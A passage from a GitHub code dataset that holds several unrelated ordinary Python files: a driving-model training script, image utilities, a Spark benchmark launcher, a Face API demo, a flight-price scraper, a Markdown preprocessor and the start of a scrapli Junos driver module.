  for line in lines:\n        source_path = line[0]\n        filename = source_path.split('/')[-1]\n        current_path = 'data/IMG/{}'.format(filename)\n        image = cv2.imread(current_path)\n        image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n        images.append(image)\n        measurnment = float(line[3])\n        measurnments.append(measurnment)\n        \n        image = np.fliplr(image)\n        images.append(image)\n        measurnments.append(-1.0*measurnment)\n        \n    X_train = np.array(images)\n    y_train = np.array(measurnments)\n\n    return X_train, y_train\n\n\ndef train(X_train, y_train, save_model='model.h5'):\n    \"\"\"\n    This function will be use to train model and save model for given training set.\n    X_train: numpy array of training images\n    y_train: numpy array of stearing mesurnments.\n    save_model: string (name of model, default is model.h5)\n    \n    return: None\n    \"\"\"\n    \n    # Hyperparameters\n    batch_size = 32\n    epochs = 30\n    learning_rate = 0.001\n    \n    # Loading model from model.py\n    model = m(input_height=IMAGE_HEIGHT, input_width=IMAGE_WIDTH)\n    \n    # Plot model as image\n    plot_model(model, to_file='model_plot.png', show_shapes=True, show_layer_names=True)\n    \n    # If trained model exist already then load first for further training\n    if tf.gfile.Exists(save_model):\n        model.load_weights(save_model)\n    model.compile(loss='mse', optimizer=Adam(learning_rate))\n    \n    # Only save model which has best performed on validation set.\n    # These are callbacks which are being used in \"model.fit\" call\n    earlyStopping = EarlyStopping(monitor='val_loss', patience=5, verbose=1, mode='min')\n    mcp_save = ModelCheckpoint('model.h5', save_best_only=True, monitor='val_loss', mode='min')\n    reduce_lr_loss = ReduceLROnPlateau(monitor='val_loss', factor=0.1, patience=7, verbose=1, epsilon=1e-4, mode='min')\n\n    # Train the model\n    model.fit(X_train, y_train, batch_size=batch_size, epochs=epochs, verbose=1, callbacks=[earlyStopping, mcp_save, reduce_lr_loss], validation_split=0.2, shuffle=True)\n    \n    return\n\nif __name__ == '__main__':\n    # Load data\n    X_train, y_train = load_data()\n    # Train model\n    train(X_train, y_train)\n    ","repo_name":"pchandra90/CarND-Behavioral-Cloning","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3296,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"18"}
{"seq_id":"34448457692","text":"from sig_gen import sig_gen\n\nsimulation_time = 4  # time of simulation\n\nfs = 4000.0  # main sampling frequency\nfs2 = 100.0  # sampling frequency 2\ndec_coef = fs / fs2\n\nsim_point = int(simulation_time / (1.0 / fs))\nsim_point2 = int(simulation_time / (1.0 / fs2))\n\nTime=[]\nTime2=[]\n\nfor t in range (0, sim_point):\n    Time.append(t*1.0/fs)\n    \nfor t in range (0, sim_point2):\n    Time2.append(t*1.0/fs2)\n\ndef mix_signals()->list:\n    Signals = [[\"Частота \",\"Амплитуда \",\"Модуляция\"],\n               [420, 3 * 1024, 8 ],\n               [480, 0 * 1024, 12],\n               [565, 1 * 1024, 8 ],\n               [720, 1 * 1024, 12],\n               [780, 1 * 1024, 8 ],\n               [ 75, 3 * 1024, 0 ],\n               [125, 0 * 1024, 0 ],\n               [175, 2 * 1024, 0 ],\n               [225, 0 * 1024, 0 ],\n               [275, 1 * 1024, 0 ],\n               [325, 1.5 * 1024, 0 ]]\n\n    mix_signals = [0]*sim_point\n    \n    for signal in Signals:\n        if isinstance(signal[1], int):\n            if signal[1] > 0:\n                y = sig_gen(signal,Time)\n                mix_signals= [a + b for a, b in zip(mix_signals, y)]\n\n    return mix_signals, Signals\n","repo_name":"starodubtsevm/trc3","sub_path":"Trc3_tx/Trc3_tx_mes/src/conf_model.py","file_name":"conf_model.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"23348576269","text":"import os\nfrom selenium import webdriver\n\nInstance = None\n\n\ndef initialize():\n    global Instance\n    if Instance is None:\n        Instance = webdriver.Chrome(os.path.abspath(os.path.join(__file__, \"../../..\"))+\"\\\\resource\\\\chromedriver.exe\")\n        Instance.implicitly_wait(5)\n    return Instance\n\n\ndef close_driver():\n    global Instance\n    Instance.quit()\n    Instance = None\n","repo_name":"VolodymyrShvetsov/python_selenium_unittest","sub_path":"tests/common/driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"24893580552","text":"import imageio\nfrom skimage.transform import resize\nimport numpy as np\n\n\ndef center_crop(x, crop_h, crop_w=None, resize_w=64):\n    if crop_w is None:\n        crop_w = crop_h\n    h, w = x.shape[:2]\n    j = int(round((h - crop_h)/2.))\n    i = int(round((w - crop_w)/2.))\n    assert i+crop_w < w and j+crop_h < h, \"invalid crop_h (and/or crop_w).\"\n    return resize(x[j:j+crop_h, i:i+crop_w], [resize_w, resize_w])\n\n\ndef specific_crop(x, point, crop_h, crop_w=None, resize_w=64):\n    if crop_w is None:\n        crop_w = crop_h\n    h, w = x.shape[:2]\n    j = int(point[1])\n    i = int(point[0])\n    assert j > 0 and i > 0\n    assert i+crop_w < w and j+crop_h < h, \"invalid crop_h (and/or crop_w) or starting point.\"\n    return resize(x[j:j+crop_h, i:i+crop_w], [resize_w, resize_w])\n\n\ndef transform(image, npx=64, point=None, is_crop=True, resize_w=64):\n    if is_crop:\n        if point is None:\n            cropped_image = center_crop(image, npx, resize_w=resize_w)\n        else:\n            cropped_image = specific_crop(image, point, npx, resize_w=resize_w)\n    else:\n        cropped_image = image if npx==resize_w else resize(image, [resize_w, resize_w])\n    return np.array(cropped_image)/127.5 - 1.\n\n\ndef imread(path, is_grayscale=False):\n    if (is_grayscale):\n        return imageio.imread(path, as_gray=True).astype(np.float)\n    else:\n        return imageio.imread(path).astype(np.float)\n\n\ndef get_image(image_path, image_size, point=None, is_crop=True, resize_w=64, is_grayscale=False):\n    return transform(imread(image_path, is_grayscale), image_size, point=point, is_crop=is_crop, resize_w=resize_w)\n","repo_name":"2wins/BEGAN-tensorlayer","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1610,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"}
{"seq_id":"33112544588","text":"import os\r\nimport random\r\nimport socket\r\nimport string\r\nfrom typing import List\r\n\r\nfrom paramiko.buffered_pipe import PipeTimeout\r\n\r\nfrom src.GoogleCloudInfo import cloud_info_list\r\nfrom src.MasterNode import MasterNode\r\nfrom src.SlaveNode import SlaveNode\r\n\r\n\r\nhome_user = 'am72ghiassi'\r\n\r\n\r\ndef main(args: List[str]):\r\n    if len(args) < 6:\r\n        print(\"Usage: find_runtime_one.py cloud_index region n_cpus n_mb_ram network batch_size\")\r\n        exit(1)\r\n\r\n    cloud_info = cloud_info_list[int(args[1])]\r\n    region = args[2]\r\n    cpu_cores = int(args[3])\r\n    amount_ram = int(args[4])\r\n    network = args[5]\r\n    batch_size = int(args[6])\r\n\r\n    print(f\"On index {int(args[1])} in regin {region} cpu_cores {cpu_cores} amount_ram {amount_ram} network {network} batch_size {batch_size}\")\r\n\r\n    ex_id = ''.join(random.choice(string.ascii_lowercase) for i in range(8))  # Generate a random project id\r\n    master = MasterNode(f\"master-{ex_id}\", cloud_info, master=True, location_string=region)\r\n    SlaveNode(f\"slave-{ex_id}-0\", cloud_info, master_node=master, location_string=region)\r\n    os.makedirs(f\"raw/one\", exist_ok=True)\r\n    max_epochs = 50\r\n    filename = f\"nodes1-cores{cpu_cores}-memory{amount_ram}-network{network}-batchsize{batch_size}.log\"\r\n    command = f\"/home/{home_user}/bd/spark/bin/spark-submit --master spark://{master.privip}:7077 --driver-cores 1 \" + \\\r\n              f\"--driver-memory 1G --total-executor-cores {cpu_cores} --executor-cores {cpu_cores} --executor-memory {amount_ram}M \" + \\\r\n              f\"--py-files /home/{home_user}/bd/spark/lib/bigdl-0.11.0-python-api.zip,/home/{home_user}/bd/codes/{network}.py \" + \\\r\n              f\"--properties-file /home/{home_user}/bd/spark/conf/spark-bigdl.conf \" + \\\r\n              f\"--jars /home/{home_user}/bd/spark/lib/bigdl-SPARK_2.3-0.11.0-jar-with-dependencies.jar \" + \\\r\n              f\"--conf spark.driver.extraClassPath=/home/{home_user}/bd/spark/lib/bigdl-SPARK_2.3-0.11.0-jar-with-dependencies.jar \" + \\\r\n              f\"--conf spark.executer.extraClassPath=bigdl-SPARK_2.3-0.11.0-jar-with-dependencies.jar /home/{home_user}/bd/codes/{network}.py \" + \\\r\n              f\"--action train --dataPath /tmp/mnist --batchSize {batch_size} --endTriggerNum {max_epochs} \" + \\\r\n              f\"--learningRate 0.01 --learningrateDecay 0.0002 > {ex_id}-{filename}\"\r\n\r\n    print(f\"Executing command: {command}\")\r\n    stdin, stdout, stderr = master.ssh.exec_command(command)\r\n\r\n    try:\r\n        print(stdout.read())\r\n        print(stderr.read())\r\n    except PipeTimeout:\r\n        print(\"PipeTimeout\")\r\n    except socket.timeout:\r\n        print(\"Socket timeout\")\r\n    # master.cancel()\r\n    sftp = master.ssh.open_sftp()\r\n    sftp.get(f'{ex_id}-{filename}', f'raw/one/{filename}')\r\n\r\n\r\nif __name__ == '__main__':\r\n    try:\r\n        import sys\r\n        main(sys.argv)\r\n    except Exception as e:\r\n        print(e)\r\n    finally:\r\n        input(\"finished!\")\r\n","repo_name":"daanh99/QPECS-Project","sub_path":"src/find_runtime_one.py","file_name":"find_runtime_one.py","file_ext":"py","file_size_in_byte":2928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"27739527918","text":"n = int(input())\r\n\r\nfor i in range(n):\r\n    data = list(str(input()))\r\n    answer = 0\r\n    cnt = 0\r\n    for j in data:\r\n        if j == \"O\":\r\n            cnt +=1\r\n            answer = answer + cnt\r\n        else:\r\n            cnt =0\r\n    print(answer)","repo_name":"ZhenxiKim/leetCode","sub_path":"백준/Bronze/8958. OX퀴즈/OX퀴즈.py","file_name":"OX퀴즈.py","file_ext":"py","file_size_in_byte":250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"35965036648","text":"#!/usr/bin/python3\n\"\"\" A Rectangle module with the class Rectangle\"\"\"\nfrom models.base import Base\n\nclass Rectangle(Base):\n    \"\"\" Rectangle class that inherits from Base \"\"\"\n    \n    def __init__(self, width, height, x=0, y=0, id=None):\n        \"\"\" Constructor method that initializes the objects shown \"\"\"\n        super().__init__(id)\n        self.width = width\n        self.height = height\n        self.x = x\n        self.y = y\n\n    @property\n    def width(self):\n        \"\"\" Getter for width \"\"\"\n        return self.__width\n\n    @width.setter\n    def width(self, value):\n        \"\"\" Setter for width \"\"\"\n        if not isinstance(value, int):\n            raise TypeError(\"width must be an integer\")\n        if value <= 0:\n            raise ValueError(\"width must be > 0\")\n        self.__width = value\n\n    @property\n    def height(self):\n        \"\"\" Getter for height \"\"\"\n        return self.__height\n\n    @height.setter\n    def height(self, value):\n        \"\"\" Setter for height \"\"\"\n        if not isinstance(value, int):\n            raise TypeError(\"height must be an integer\")\n        if value <= 0:\n            raise ValueError(\"height must be > 0\")\n        self.__height = value\n\n    @property\n    def x(self):\n        \"\"\" Getter for x \"\"\"\n        return self.__x\n\n    @x.setter\n    def x(self, value):\n        \"\"\" Setter for x \"\"\"\n        if not isinstance(value, int):\n            raise TypeError(\"x must be an integer\")\n        if value < 0:\n            raise ValueError(\"x must be >= 0\")\n        self.__x = value\n\n    @property\n    def y(self):\n        \"\"\" Getter for y \"\"\"\n        return self.__y\n\n    @y.setter\n    def y(self, value):\n        \"\"\" Setter for y \"\"\"\n        if not isinstance(value, int):\n            raise TypeError(\"y must be an integer\")\n        if value < 0:\n            raise ValueError(\"y must be >= 0\")\n        self.__y = value\n    \n    def area(self):\n        \"\"\" This method calculates and returns the area of the Rectangle\"\"\"\n        return self.__width * self.__height\n    \n    def display(self):\n        \"\"\" This method displays the Rectangle -- taking care of x and y -- with # characters\"\"\"\n        print(\"\\n\" * self.__y, end=\"\")\n        for _ in range(self.__height):\n            print(\" \" * self.__x + \"#\" * self.__width)\n            \n    def __str__(self):\n        \"\"\" This method overrides __str__ to return [Rectangle] (<id>) <x>/<y> - <width>/<height>\"\"\"\n        return \"[Rectangle] ({}) {}/{} - {}/{}\".format(\n            self.id, self.__x, self.__y, self.__width, self.__height)\n\n    def update(self, *args, **kwargs):\n        \"\"\" This method adds both positional and keyword arguments to attributes in the given order\"\"\"\n        if args:\n            attributes = [\"id\", \"width\", \"height\", \"x\", \"y\"]\n            for index, value in enumerate(args):\n                setattr(self, attributes[index], value)\n        elif kwargs:\n            for key, value in kwargs.items():\n                setattr(self, key, value)\n","repo_name":"hezroneokoth/alx_python","sub_path":"python-almost_a_circle/models/rectangle.py","file_name":"rectangle.py","file_ext":"py","file_size_in_byte":2965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"17845038113","text":"import argparse\nimport sys\nfrom .api import DummyText\n\n\ndef create_parser():\n    parser = argparse.ArgumentParser(\n        prog='mlrandom',\n        add_help=False,\n        description='Malayalam Random Text Generator'\n        ' [Word | Sentence | Paragraphs]',\n        epilog='''Run '%(prog)s --help'for more information.''')\n\n    subparsers = parser.add_subparsers(\n        dest='command',\n        title='Commands',\n        description='These are common commands used in various situations')\n    parser_group = parser.add_argument_group(title='Options')\n    add_help_arg(parser_group)\n    add_punctuate_arg(parser_group)\n\n    wrdparser = subparsers.add_parser(\n        'word',\n        add_help=False,\n        help='Generate a random word',\n        description='Generate a random word from a charset')\n    wrdparser_group = wrdparser.add_argument_group(title='Options')\n    add_word_args(wrdparser)\n    add_help_arg(wrdparser_group)\n    add_punctuate_arg(wrdparser_group)\n    add_charset_arg(wrdparser_group)\n\n    senparser = subparsers.add_parser(\n        'sentence',\n        add_help=False,\n        help='Generate a random sentence',\n        description='Generate a random sentence from a charset')\n    senparser_group = senparser.add_argument_group(title='Options')\n    add_word_args(senparser)\n    add_help_arg(senparser_group)\n    add_punctuate_arg(senparser_group)\n    add_charset_arg(senparser_group)\n    add_sentence_args(senparser_group)\n\n    paraparser = subparsers.add_parser(\n        'paragraphs',\n        add_help=False,\n        help='Generate multiple random paragraphs',\n        description='Generate a random paragraphs from a charset')\n    paraparser_group = paraparser.add_argument_group(title='Options')\n    add_word_args(paraparser)\n    add_help_arg(paraparser_group)\n    add_punctuate_arg(paraparser_group)\n    add_charset_arg(paraparser_group)\n    add_sentence_args(paraparser_group)\n    add_para_args(paraparser_group)\n\n    return parser\n\n\ndef add_word_args(group):\n    group.add_argument(\n        '--minlen',\n        type=int,\n        default=2,\n        dest='minlen',\n        help='The minimum number of characeters to be required in a word.')\n    group.add_argument(\n        '--maxlen',\n        type=int,\n        default=8,\n        dest='maxlen',\n        help='The maximum number of characeters to be required in a word.')\n\n\ndef add_sentence_args(group):\n    group.add_argument(\n        '--wordcount', '-wc',\n        type=int,\n        default=8,\n        dest='wordcount',\n        help='The maximum number of words to be required in a sentence.')\n\n\ndef add_para_args(group):\n    group.add_argument(\n        '--paracount', '-pc',\n        type=int,\n        default=5,\n        dest='paracount',\n        help='The maximum number of paragraphs to be required in the text.')\n\n\ndef str2bool(v):\n    if v.lower() in ('yes', 'true', 't', 'y', '1'):\n        return True\n    elif v.lower() in ('no', 'false', 'f', 'n', '0'):\n        return False\n    else:\n        raise argparse.ArgumentTypeError('Boolean value expected.')\n\n\ndef add_punctuate_arg(group):\n    group.add_argument(\n        '--punctuate', '-p',\n        type=str2bool,\n        default=True,\n        dest='punctuate',\n        help='Disable punctuations in the paragraphs and sentences')\n\n\ndef add_charset_arg(group):\n    group.add_argument(\n        '--charset', '-C',\n        type=str,\n        default='',\n        dest='charset',\n        help='The characeter set that needs to be used.')\n\n\ndef add_help_arg(group):\n    group.add_argument(\n        '--help', '-h',\n        action='help',\n        help='Show this help message and exit')\n\n\ndef cli(args=sys.argv[1:]):\n\n    parser = create_parser()\n    ns = parser.parse_args(args)\n\n    dummy = DummyText(punctuate=ns.punctuate)\n    if not ns.command:\n        parser.print_help()\n        return\n    elif ns.command == 'word':\n        args = [ns.minlen, ns.maxlen, ns.charset]\n        print(dummy.gen_word(*args))\n        return\n    elif ns.command == 'sentence':\n        args = [ns.minlen, ns.maxlen, ns.charset]\n        print(dummy.gen_sentence(ns.wordcount, *args))\n        return\n    elif ns.command == 'paragraphs':\n        args = [ns.wordcount,ns.minlen, ns.maxlen, ns.charset]\n        print(dummy.gen_paragraph(ns.paracount, *args))\n        return\n","repo_name":"sreecodeslayer/mlrandom-smc","sub_path":"mlrandom/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":4275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"9280879635","text":"########### sample of calling FaceAPI from Python 3.6 #############\n## @fujute : March4,2018\n##  This is modified version from original code from \" https://westus.dev.cognitive.microsoft.com/docs/services/563879b61984550e40cbbe8d/operations/563879b61984550f30395236 \"\n##\nimport http.client, urllib.request, urllib.parse, urllib.error, base64\n\nheaders = {\n    # Request headers\n    'Content-Type': 'application/json',\n    'Ocp-Apim-Subscription-Key': 'PLEASE REPLACE THIS TEXT WITH YOUR FACE API KEY',\n}\n# https://www.microsoft.com/cognitive-services/en-us/face-api \n# reference https://westus.dev.cognitive.microsoft.com/docs/services/563879b61984550e40cbbe8d/operations/563879b61984550f30395236\n\nparams = urllib.parse.urlencode({\n    # Request parameters\n    'returnFaceId': 'true',\n    'returnFaceLandmarks': 'false',\n    'returnFaceAttributes': 'age,gender,smile,facialHair,glasses,headPose,emotion',\n})\n\nmypictures = [\"{ 'url': 'https://raw.githubusercontent.com/fuju9w/cognitive/master/man-crazy-funny-dude-45882.jpg' }\",\"{ 'url': 'https://raw.githubusercontent.com/fuju9w/cognitive/master/peam-m1-2017.jpg' }\",\"{ 'url': 'https://raw.githubusercontent.com/fuju9w/cognitive/master/pexels-photo-372042.jpg' }\"]\n\n\ntry:\n\tconn = http.client.HTTPSConnection('southeastasia.api.cognitive.microsoft.com')\t\n\tfor body in mypictures:\n\t\tprint(body)\n\t\tconn.request(\"POST\", \"/face/v1.0/detect?%s\" % params, body, headers)\n\t\tresponse = conn.getresponse()\n\t\tdata = response.read()\n\t\tprint(data)\n\t\tprint (\"------------------------------------------\")\n\tconn.close()\nexcept Exception as e:\n    print(\"[Errno {0}] {1}\".format(e.errno, e.strerror))\n\n####################################    \n","repo_name":"fuju9w/cognitive","sub_path":"faceapidemo-m4.py","file_name":"faceapidemo-m4.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"21644711533","text":"#!/usr/bin/env python3\n\nimport re\nimport sys\n\n\npat_open = '[{][{][<]'\npat_close = '[>][}][}]'\n\npat_include = 'include[:](?P<filepath>.*?)'\npat_indent = ',indent[:](?P<indent>[0-9-]+)'\npat_include_options = '(' + pat_indent + ')*'\n\n# {{<toc,levels:2-3,source=.>}}\n# {{<toc,levels:2-3,source=path/to/file>}}\npat_toc = 'toc'\npat_levels = ',levels[:](?P<level_from>[0-9]+)[-](?P<level_to>[0-9]+)'\npat_source = ',source:(?P<source>([.]|.*?))'\npat_toc_options = '(' + pat_levels + '|' + pat_source + ')*'\n\n# {{<chars.snippet>}}\n# // {{<chars.snippet,indent:-4>}}\nrx_include = re.compile(\n    '([/]{2}[ \\t]*)*' +\n    pat_open +\n    pat_include + pat_include_options +\n    pat_close\n)\n\nrx_toc = re.compile(\n    pat_open +\n    pat_toc + pat_toc_options +\n    pat_close\n)\n\nrx_md_codeblock = re.compile('^[`]{3}')\nrx_md_headline = re.compile('^(?P<level>[#]+)[ \\t]*(?P<heading>.*)')\n\nrx_table_delim = re.compile('[-][+][-]')\n\nSOURCE_SELF = '.'\n\ndef indent_block(num, block):\n    lines = block.split('\\n')\n    if num > 0:\n        lines = [' ' * num + line for line in lines]\n    else:\n        num = num * -1\n        rx = re.compile('^[ ]{' + str(num) + '}')\n        lines = [rx.sub('', line) for line in lines]\n    return '\\n'.join(lines)\n\ndef build_md_toc(level_zero, spec):\n    lines = []\n\n    indent = '  '\n    for level, title, url in spec:\n        level = level - level_zero\n        line = '%s* [%s](%s)' % (indent * level, title, url)\n        lines.append(line)\n\n    return '\\n'.join(lines)\n\ndef create_toc(level_from, level_to, source, cur_content):\n    content = cur_content\n    if source != SOURCE_SELF:\n        with open(source) as f:\n            content = f.read()\n\n    lines = content.split('\\n')\n\n    spec = []\n\n    in_code_block = False\n    for line in lines:\n        if rx_md_codeblock.search(line):\n            if not in_code_block:\n                in_code_block = True\n            else:\n                in_code_block = False\n\n        if not in_code_block:\n            match = rx_md_headline.search(line)\n            if match:\n                level = len(match.group('level'))\n                heading = match.group('heading').strip()\n\n                if level_from <= level <= level_to:\n                    url = '#' + heading.replace(' ', '-').lower()\n                    if source != SOURCE_SELF:\n                        url = '%s%s' % (source, url)\n                    spec.append((level, heading, url))\n\n    return build_md_toc(level_from, spec)\n\ndef process(infile):\n    outfile = infile.replace('_in', '')\n    outfile = outfile.replace('.org', '.md')\n\n    print(\" < Reading from: %s\" % infile)\n    with open(infile) as f:\n        content = f.read()\n\n    match = rx_include.search(content)\n    while match:\n        filepath = match.group('filepath')\n\n        indent_s = match.group('indent')\n        indent_chars = int(indent_s) if indent_s else 0\n\n        print(\"  - Including file: %s\" % filepath)\n        with open(filepath) as f:\n            included_content = f.read().rstrip()\n\n        included_content = indent_block(indent_chars, included_content)\n        content = content[:match.start()] + included_content + content[match.end():]\n\n        match = rx_include.search(content)\n\n    match = rx_toc.search(content)\n    while match:\n        level_from = int(match.group('level_from'))\n        level_to = int(match.group('level_to'))\n        source = match.group('source')\n\n        print(\"  - Creating toc from file: %s\" % source)\n        toc = create_toc(level_from, level_to, source, content)\n        content = content[:match.start()] + toc + content[match.end():]\n\n        match = rx_toc.search(content)\n\n    content = rx_table_delim.sub('-|-', content)\n\n    print(\" > Writing to: %s\" % outfile)\n    with open(outfile, 'w') as f:\n        f.write(content)\n\n\nif __name__ == '__main__':\n    try:\n        infile = sys.argv[1]\n    except IndexError:\n        print(\"Usage: %s file_in\" % sys.argv[0])\n    process(infile)\n","repo_name":"numerodix/gdb-by-example","sub_path":"_tools/compile.py","file_name":"compile.py","file_ext":"py","file_size_in_byte":3930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74308986279","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Sep 15 12:32:06 2019\n\n@author: dinesh\n\"\"\"\n\nimport sqlite3\n\n\nconnection = sqlite3.Connection(\"/home/dinesh/titanic.db\")\n\n\ncursor = connection.cursor()\n\ntable = \"\"\"\n        CREATE TABLE classroom (        \n        student_id INTEGER PRIMARY KEY,\n        name VARCHAR(20),\n        math INTEGER,\n        phy INTEGER,\n        chi INTEGER\n        );\n        \"\"\"\n        \n#cursor.execute(table)\n\n#cursor.commit()\n        \nquery = \"\"\" select * from classroom;\"\"\"\n\ncursor.execute(query) \n\nr = cursor.fetchall()\n\nfor i in r:\n    print(i)\n\nconnection.close()","repo_name":"dineshpazani/algorithms","sub_path":"src/com/python/SqlLite.py","file_name":"SqlLite.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"23253966373","text":"from PyQt5.QtWidgets import QSystemTrayIcon, QApplication\nfrom domestic.widgets.menu import *\nfrom domestic.core import ReaderDb\n\nclass SystemTray(QSystemTrayIcon):\n    def __init__(self, parent):\n        super().__init__()\n        self.parent = parent\n        self.setVisible(True)\n        self.setIcon(QIcon(\":/images/rss-icon-128.png\"))\n\n        self.updateToolTip()\n\n        self.activated.connect(self.parentShow)\n        self.messageClicked.connect(self.parentShow)\n\n    def updateToolTip(self):\n        db = ReaderDb()\n        db.execute(\"select * from store where iscache=1\")\n        unread = db.cursor.fetchall()\n        db.execute(\"select * from store where isstore=1\")\n        store = db.cursor.fetchall()\n        db.execute(\"select * from store where istrash=1\")\n        trash = db.cursor.fetchall()\n        self.setToolTip(self.tr('''<span style='font-size:14pt'>{} - {}</span>\n        <br><span style='font-size:10pt'>Unread: {}</span>\n        <br><span style='font-size:10pt'>Stored: {}</span>\n        <br><span style='font-size:10pt'>Deleted: {}</span>''').format(QApplication.applicationName(),\n        QApplication.applicationVersion(), len(unread), len(store), len(trash)))\n\n    def parentShow(self):\n        self.parent.show()\n","repo_name":"mthnzbk/domestic","sub_path":"domestic/widgets/systemtray.py","file_name":"systemtray.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"37202579221","text":"import json\nimport requests\nimport sys\nheaders = {\n    'origin': 'https://m.ctrip.com',\n    'content-type': 'application/json',\n    'Referer': 'https://m.ctrip.com/html5/flight/swift/domestic/BJS/SHA/2019-03-15',\n    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36',\n    'X-Requested-With': 'XMLHttpRequest',\n}\n#save dict to file, in case we need that later\ndef save_wb_to_file(wb, filename):\n    with open(filename,'w') as fd:\n        json.dump(wb, fd)\n\n#get dict back from file when needed\ndef get_wb_from_file(filename):\n    with open(filename) as fd:\n        return json.load(fd)\n\n\ncode_name=dict()\ncmd_len=len(sys.argv)\nwb=get_wb_from_file('addr_code')\nADDR=['ABCDEF','GHIJ','KLMN','PQRSTUVW','XYZ']\nfor addr in ADDR:\n    #print(addr)\n    w1=wb.get(addr)\n    for c in  addr:\n        if not w1.get(c):\n            continue\n        for l in w1.get(c):\n            name=l.get('display')\n            code=l.get('data')[-3:]\n            code_name.update({name:code})\n\n\nprint(code_name)\nif cmd_len != 4:\n    print('Usage: python3 air_test.py 青岛 北京 2019-05-12')\n    exit()\nprint(sys.argv[1], end='-')\nprint(sys.argv[2], end=' ')\nprint(sys.argv[3])\nDepCity=code_name.get(sys.argv[1])\nArrCity=code_name.get(sys.argv[2])\nDate=sys.argv[3]\n\n#ArrCity=\"青岛\"\n#DepCity=\"南京\"\n#Date=\"2019-03-19\"\n\np={\"preprdid\":\"\",\"trptpe\":1,\"flag\":8,\"searchitem\":[{\"dccode\":DepCity,\"accode\":ArrCity,\"dtime\":Date}],\"subchannel\":'',\"tid\":\"{6d549c74-62d5-42e7-a2cb-35c94d349df4}\",\"head\":{\"cid\":\"09031046111774300258\",\"ctok\":\"\",\"cver\":\"1.0\",\"lang\":\"01\",\"sid\":\"8888\",\"syscode\":\"09\",\"auth\":'',\"extension\":[{\"name\":\"protocal\",\"value\":\"https\"}]},\"contentType\":\"json\"}\n\n\nr=requests.post('https://m.ctrip.com/restapi/soa2/14022/flightListSearch?_fxpcqlniredt=09031046111774300258', data=json.dumps(p), headers=headers)\nwb=r.json()\n#save_wb_to_file(wb,'ctrip.json')\n#wb=get_wb_from_file('ctrip.json')\n\n#print(r.url)\n#print(r.headers)\n#print(r.status_code)\n#print(wb)\nall_flight= wb.get('fltitem')\ni=0\n\nprint('航班号         出发机场     到达机场        日期        起飞时间      落地时间   最低票价')\nfor l in all_flight:\n    print(l.get('mutilstn')[i].get('basinfo').get('flgno').ljust(8), end='     ')\n    print(l.get('mutilstn')[i].get('dportinfo').get('cityname'),end='(')\n    print(l.get('mutilstn')[i].get('dportinfo').get('aportsname'),end=')    ')\n    print(l.get('mutilstn')[i].get('aportinfo').get('cityname'), end='(')\n    print(l.get('mutilstn')[i].get('aportinfo').get('aportsname'), end=')    ')\n    data=l.get('mutilstn')[i].get('dateinfo').get('ddate')\n    print(data.split()[0],end='     ')\n    print(data.split()[1],end='     ')\n    data=l.get('mutilstn')[i].get('dateinfo').get('adate')\n    print(data.split()[1],end='     ')\n    print(l.get('policyinfo')[i].get('priceinfo')[0].get('price'))\n\n\n","repo_name":"sun1279/pythontest","sub_path":"ctrip_air_test.py","file_name":"ctrip_air_test.py","file_ext":"py","file_size_in_byte":2902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"4089943527","text":"\"\"\"scrapli_cfg.platform.core.juniper_junos.base_platform\"\"\"\nimport re\nfrom datetime import datetime\nfrom logging import LoggerAdapter\nfrom typing import Tuple\n\nfrom scrapli.driver.network.base_driver import PrivilegeLevel\nfrom scrapli_cfg.platform.core.juniper_junos.patterns import (\n    EDIT_PATTERN,\n    OUTPUT_HEADER_PATTERN,\n    VERSION_PATTERN,\n)\n\nCONFIG_SOURCES = [\n    \"running\",\n]\n\nJUNOS_ADDTL_PRIVS = {\n    \"shell\": (\n        PrivilegeLevel(\n            pattern=r\"^(?!root)%\\s?$\",\n            name=\"shell\",\n            previous_priv=\"exec\",\n            deescalate=\"exit\",\n            escalate=\"start shell\",\n            escalate_auth=False,\n            escalate_prompt=\"\",\n        )\n    ),\n    # feel like ive had issues w/ root shell in the past... if this all goes well then it can be\n    # added back to scrapli core\n    \"root_shell\": (\n        PrivilegeLevel(\n            pattern=r\"^root@%\\s?$\",\n            name=\"root_shell\",\n            previous_priv=\"exec\",\n            deescalate=\"exit\",\n            escalate=\"start shell user root\",\n            escalate_auth=True,\n            escalate_prompt=r\"^[pP]assword:\\s?$\",\n        )\n    ),\n}\n\n\nclass ScrapliCfgJunosBase:\n    logger: LoggerAdapter\n    candidate_config: str\n    candidate_config_filename: str\n    _in_configuration_session: bool\n    _replace: bool\n    _set: bool\n    filesystem: str\n\n    @staticmethod\n    def _parse_version(device_output: str) -> str:\n        \"\"\"\n        Parse version string out of device output\n\n        Args:\n            